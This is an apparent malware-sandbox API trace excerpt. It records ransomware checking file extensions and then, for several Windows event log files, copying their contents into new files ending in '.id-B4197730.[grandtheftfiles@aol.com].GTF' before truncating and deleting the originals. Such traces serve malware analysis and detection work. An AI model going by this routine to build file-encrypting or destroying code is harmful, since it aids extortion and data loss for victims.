	[0078.889] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.889] lstrlenW (lpString=".rar") returned 4
	[0078.889] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.889] lstrlenW (lpString=".bz2") returned 4
	[0078.889] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.889] lstrlenW (lpString=".7z") returned 3
	[0078.889] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.890] lstrlenW (lpString=".dbf") returned 4
	[0078.890] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.890] lstrlenW (lpString=".1cd") returned 4
	[0078.890] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.890] lstrlenW (lpString=".jpg") returned 4
	[0078.890] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.890] lstrlenW (lpString=".doc") returned 4
	[0078.890] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString=".docx") returned 5
	[0078.890] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.890] lstrlenW (lpString=".pdf") returned 4
	[0078.890] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString=".xls") returned 4
	[0078.890] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString=".xlsx") returned 5
	[0078.890] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.890] lstrlenW (lpString=".ppt") returned 4
	[0078.890] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.890] lstrlenW (lpString=".zip") returned 4
	[0078.890] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString=".rar") returned 4
	[0078.890] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.890] lstrlenW (lpString=".bz2") returned 4
	[0078.890] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.891] lstrlenW (lpString=".7z") returned 3
	[0078.891] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.891] lstrlenW (lpString=".dbf") returned 4
	[0078.891] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.891] lstrlenW (lpString=".1cd") returned 4
	[0078.891] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.891] lstrlenW (lpString=".jpg") returned 4
	[0078.891] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.891] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.891] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47
	[0078.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0080.348] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0080.348] CloseHandle (hObject=0x398) returned 1
	[0080.348] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20
	[0080.355] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.724] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0080.725] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.725] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.725] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.744] GetLastError () returned 0x0
	[0080.745] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.770] WriteFile (in: hFile=0x2d0, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.774] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.774] WriteFile (in: hFile=0x2d0, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x132, lpOverlapped=0x0) returned 1
	[0080.774] SetEndOfFile (hFile=0x2d0) returned 1
	[0080.775] CloseHandle (hObject=0x2d0) returned 1
	[0080.777] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.777] SetEndOfFile (hFile=0x33c) returned 1
	[0080.778] CloseHandle (hObject=0x33c) returned 1
	[0080.779] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.779] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1
	[0080.779] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.779] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.779] lstrlenW (lpString=".doc") returned 4
	[0080.779] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.779] lstrlenW (lpString=".docx") returned 5
	[0080.779] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.779] lstrlenW (lpString=".pdf") returned 4
	[0080.779] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.779] lstrlenW (lpString=".xls") returned 4
	[0080.779] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.779] lstrlenW (lpString=".xlsx") returned 5
	[0080.779] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.779] lstrlenW (lpString=".ppt") returned 4
	[0080.779] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.779] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.779] lstrlenW (lpString=".zip") returned 4
	[0080.780] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".rar") returned 4
	[0080.780] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".bz2") returned 4
	[0080.780] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".7z") returned 3
	[0080.780] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.780] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.780] lstrlenW (lpString=".dbf") returned 4
	[0080.780] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.780] lstrlenW (lpString=".1cd") returned 4
	[0080.780] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.780] lstrlenW (lpString=".jpg") returned 4
	[0080.780] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.780] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.780] lstrlenW (lpString=".doc") returned 4
	[0080.780] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".docx") returned 5
	[0080.780] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.780] lstrlenW (lpString=".pdf") returned 4
	[0080.780] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".xls") returned 4
	[0080.780] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".xlsx") returned 5
	[0080.780] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.780] lstrlenW (lpString=".ppt") returned 4
	[0080.780] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.780] lstrlenW (lpString=".zip") returned 4
	[0080.780] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".rar") returned 4
	[0080.780] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.780] lstrlenW (lpString=".bz2") returned 4
	[0080.781] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.781] lstrlenW (lpString=".7z") returned 3
	[0080.781] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.781] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.781] lstrlenW (lpString=".dbf") returned 4
	[0080.781] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.781] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.781] lstrlenW (lpString=".1cd") returned 4
	[0080.781] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.781] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0080.781] lstrlenW (lpString=".jpg") returned 4
	[0080.781] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.781] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.781] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42
	[0080.781] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.785] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0080.785] CloseHandle (hObject=0x2d0) returned 1
	[0080.785] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20
	[0080.785] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.785] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.785] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.785] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.785] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.785] GetLastError () returned 0x0
	[0080.785] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.795] WriteFile (in: hFile=0x378, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.797] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.797] WriteFile (in: hFile=0x378, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x128, lpOverlapped=0x0) returned 1
	[0080.797] SetEndOfFile (hFile=0x378) returned 1
	[0080.797] CloseHandle (hObject=0x378) returned 1
	[0080.799] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.799] SetEndOfFile (hFile=0x2d0) returned 1
	[0080.800] CloseHandle (hObject=0x2d0) returned 1
	[0080.800] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.801] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1
	[0080.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.801] lstrlenW (lpString=".doc") returned 4
	[0080.801] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.801] lstrlenW (lpString=".docx") returned 5
	[0080.801] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.801] lstrlenW (lpString=".pdf") returned 4
	[0080.801] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.801] lstrlenW (lpString=".xls") returned 4
	[0080.801] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.801] lstrlenW (lpString=".xlsx") returned 5
	[0080.801] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.801] lstrlenW (lpString=".ppt") returned 4
	[0080.801] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.801] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.801] lstrlenW (lpString=".zip") returned 4
	[0080.802] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".rar") returned 4
	[0080.802] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".bz2") returned 4
	[0080.802] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".7z") returned 3
	[0080.802] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.802] lstrlenW (lpString=".dbf") returned 4
	[0080.802] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.802] lstrlenW (lpString=".1cd") returned 4
	[0080.802] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.802] lstrlenW (lpString=".jpg") returned 4
	[0080.802] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.802] lstrlenW (lpString=".doc") returned 4
	[0080.802] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".docx") returned 5
	[0080.802] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.802] lstrlenW (lpString=".pdf") returned 4
	[0080.802] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".xls") returned 4
	[0080.802] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".xlsx") returned 5
	[0080.802] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.802] lstrlenW (lpString=".ppt") returned 4
	[0080.802] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.802] lstrlenW (lpString=".zip") returned 4
	[0080.802] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".rar") returned 4
	[0080.802] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.802] lstrlenW (lpString=".bz2") returned 4
	[0080.803] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.803] lstrlenW (lpString=".7z") returned 3
	[0080.803] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.803] lstrlenW (lpString=".dbf") returned 4
	[0080.803] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.803] lstrlenW (lpString=".1cd") returned 4
	[0080.803] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.803] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0080.803] lstrlenW (lpString=".jpg") returned 4
	[0080.803] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.803] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.803] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47
	[0080.803] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.804] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0080.804] CloseHandle (hObject=0x2d0) returned 1
	[0080.804] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20
	[0080.804] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.804] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.804] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.804] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.804] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.805] GetLastError () returned 0x0
	[0080.805] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.807] WriteFile (in: hFile=0x378, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.809] ReadFile (in: hFile=0x2d0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.809] WriteFile (in: hFile=0x378, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x132, lpOverlapped=0x0) returned 1
	[0080.809] SetEndOfFile (hFile=0x378) returned 1
	[0080.809] CloseHandle (hObject=0x378) returned 1
	[0080.811] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.811] SetEndOfFile (hFile=0x2d0) returned 1
	[0080.813] CloseHandle (hObject=0x2d0) returned 1
	[0080.813] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.813] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1
	[0080.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.813] lstrlenW (lpString=".doc") returned 4
	[0080.813] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.813] lstrlenW (lpString=".docx") returned 5
	[0080.813] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.813] lstrlenW (lpString=".pdf") returned 4
	[0080.813] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.813] lstrlenW (lpString=".xls") returned 4
	[0080.813] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.813] lstrlenW (lpString=".xlsx") returned 5
	[0080.813] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.813] lstrlenW (lpString=".ppt") returned 4
	[0080.813] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.813] lstrlenW (lpString=".zip") returned 4
	[0080.813] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".rar") returned 4
	[0080.814] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".bz2") returned 4
	[0080.814] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString=".7z") returned 3
	[0080.814] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.814] lstrlenW (lpString=".dbf") returned 4
	[0080.814] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.814] lstrlenW (lpString=".1cd") returned 4
	[0080.814] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.814] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0080.814] lstrlenW (lpString=".jpg") returned 4
	[0080.814] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
